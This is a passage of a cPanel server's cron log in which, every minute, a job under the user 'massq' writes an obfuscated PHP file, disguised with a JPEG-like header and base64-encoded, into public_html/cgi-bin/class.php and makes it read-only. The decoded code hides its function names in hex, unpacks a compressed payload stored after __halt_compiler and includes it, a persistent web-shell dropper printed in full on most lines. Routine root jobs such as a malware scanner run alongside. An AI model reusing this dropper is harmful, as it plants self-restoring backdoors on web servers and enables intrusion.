&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:55:01 server CROND[29781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:55:01 server CROND[29779]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:55:01 server CROND[29780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:56:01 server CROND[30740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:57:01 server CROND[31651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:57:01 server CROND[31652]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 10:58:01 server CROND[32479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:59:01 server CROND[714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:00:01 server CROND[1307]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 11:00:01 server CROND[1308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 11:00:01 server CROND[1310]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 11:00:01 server CROND[1311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:01:01 server CROND[1979]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:01:01 server CROND[1980]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 11:01:01 server run-parts(/etc/cron.hourly)[1980]: starting 0anacron
Nov 10 11:01:01 server run-parts(/etc/cron.hourly)[1992]: finished 0anacron
Nov 10 11:02:01 server CROND[2825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:03:01 server CROND[3534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:04:01 server CROND[4343]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:05:01 server CROND[5212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 11:05:01 server CROND[5214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 11:05:01 server CROND[5215]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 11:05:01 server CROND[5216]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 10 11:05:01 server CROND[5217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:06:01 server CROND[6142]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
